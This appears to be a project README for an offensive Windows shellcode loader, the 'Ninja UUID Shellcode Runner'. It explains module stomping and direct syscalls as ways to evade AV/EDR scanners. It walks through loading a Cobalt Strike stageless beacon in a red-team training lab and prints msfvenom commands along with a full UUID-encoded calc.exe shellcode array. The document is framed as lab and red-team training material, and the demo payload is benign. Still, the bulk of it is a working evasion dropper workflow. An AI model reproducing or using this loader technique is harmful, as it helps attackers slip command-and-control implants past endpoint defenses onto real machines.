Home

Awesome

Ninja UUID Shellcode Runner

Module Stomping, No New Thread, HellsGate syscaller, UUID Shellcode Runner for x64 Windows 10!

Created by Bobby Cooke (@0xBoku) with Matt Kingstone(@n00bRage)

Update - Cobalt Strike Stageless Beacon Support (11/4/21)

This was tested in the new Certified Red Team Operator course labs which gives you Cobalt Strike access out-of-the-box. If you are interested in digging deeper into Cobalt Strike, I definitely recommend getting your hands dirty with this course!

Since the CRTO labs have Cobalt Strike, for security reasons they are not connected to the public internet. Another hurdle is we cannot copy entire files to and from our CRTO lab. What we can do, is copy-paste text from our host to the the CRTO lab. Since I think these labs are awesome, this walkthrough shows how to get this project working in the CRTO lab environment!

Cobalt Strike Stageless Beacon Walkthrough

  1. Start your Cobalt Strike teamserver & the cobaltstrike gui on the Kali-Attacker box
root@kali:/opt/cobaltstrike# ifconfig
eth0: inet 10.10.5.120 
# Start the teamserver with the password myPassword123
root@kali:/opt/cobaltstrike# ./teamserver 10.10.5.120 myPassword123
# Launch the cobaltstrike GUI and connect to it with any username and the password above
root@kali:/opt/cobaltstrike# ./cobaltstrike
Screenshot of starting & connecting to the teamserver from the CRTO Kali-Attacker box

  1. Create a Listener that our stageless beacon payload will connect to, when it is executed on the windows host

  1. Create a 64-bit Stageless Cobalt Strike beacon shellcode payload

  1. Switch to the Windows host and prepare the UUID runner to run our Beacon payload.

  1. Switch back to the Kali-Attacker box, convert beacon.bin to an array of UUIDs. and transfer beacon-uuids.txt to our Windows-Attacker Box
root@kali:~# python3 bin2uuids.py beacon.bin > beacon-uuids.txt
Transferring beacon-uuids.txt file with Cobalt Strike

  1. Compile Ninja_UUID_Runner with our Cobalt Strike Stageless Beacon payload

About

Shellcode is typically loaded into the Heap of the process, or the VirtualAlloc() API is used to reserve a private section of memory where the shellcode is then loaded too. Regardless of where the shellcode is in memory, that allocated memory must be marked executable for the shellcode to run. This is typically done by calling the VirtualProtect() API, after the shellcode has been written to memory, to change the allocated memory from RW (Read-Write) to RX (Read-Execute). RX sections within modules are common, such as the executable .TEXT section of the host process, and the executable .TEXT section of a Dynamically Loaded Library (DLL) which has been loaded into the memory of the process. Although, RX or RWX executable memory sections within the Heap and Privately allocated sections, not backed by a module are suspicious, and easier to detect. To evade this detection, Module Stomping can be used.

Module Stomping is where the malware will load a DLL into the processes memory using the LoadLibrary() API, change the permissions of the loaded libraries memory to RW (writable), overwrite the DLL memory with the shellcode, change the module-backed memory back to RX (executable), and then execute the shellcode from the DLL memory. When the memory is scanned, the shellcode will appear to be just the executable code from the loaded DLL. Therefor this may evade some AV/EDR dynamic memory scanners.

Sektor7 does a better job of explaining it, and I recommend you check out there courses if you'd like to dive deeper: institute.sektor7.net

This dropper uses the Module Stomping technique described above, in combination with these techniques:

Walkthrough Example with MSF PopCalc

MSFVenom PopCalc Shellcode Creation

┌──(bobby.cooke@0xBoku)-[~]
└─$ msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Saved as: calc.bin

Raw Shellcode File to UUIDs

┌──(bobby.cooke@0xBoku)-[~]
└─$ python3 bin2uuid.py calc.bin
    const char* uuids[] =
    {
        "e48348fc-e8f0-00c0-0000-415141505251",
        "d2314856-4865-528b-6048-8b5218488b52",
        "728b4820-4850-b70f-4a4a-4d31c94831c0",
        "7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
        "48514152-528b-8b20-423c-4801d08b8088",
        "48000000-c085-6774-4801-d0508b481844",
        "4920408b-d001-56e3-48ff-c9418b348848",
        "314dd601-48c9-c031-ac41-c1c90d4101c1",
        "f175e038-034c-244c-0845-39d175d85844",
        "4924408b-d001-4166-8b0c-48448b401c49",
        "8b41d001-8804-0148-d041-5841585e595a",
        "59415841-5a41-8348-ec20-4152ffe05841",
        "8b485a59-e912-ff57-ffff-5d48ba010000",
        "00000000-4800-8d8d-0101-000041ba318b",
        "d5ff876f-f0bb-a2b5-5641-baa695bd9dff",
        "c48348d5-3c28-7c06-0a80-fbe07505bb47",
        "6a6f7213-5900-8941-daff-d563616c632e",
        "00657865-9090-9090-9090-909090909090"
    };

Copy UUID Shellcode to main.c

Optionally Change Sacrificial DLL

┌──(bobby.cooke@0xBoku)-[~]
└─$ python3 string2array.py sLib mshtml.dll
CHAR sLib[] = {'m','s','h','t','m','l','.','d','l','l',0};

Compile with Visual Studios

Credits / References

Implementing ASM in Visual Studio C Projects

HalosGate SysCaller

HellsGate Syscaller

Great Resource for learning Intel ASM - Vivek Ramachandran (@vivekramac)

Other Projects/References that use the UUID Shellcode Loading Technique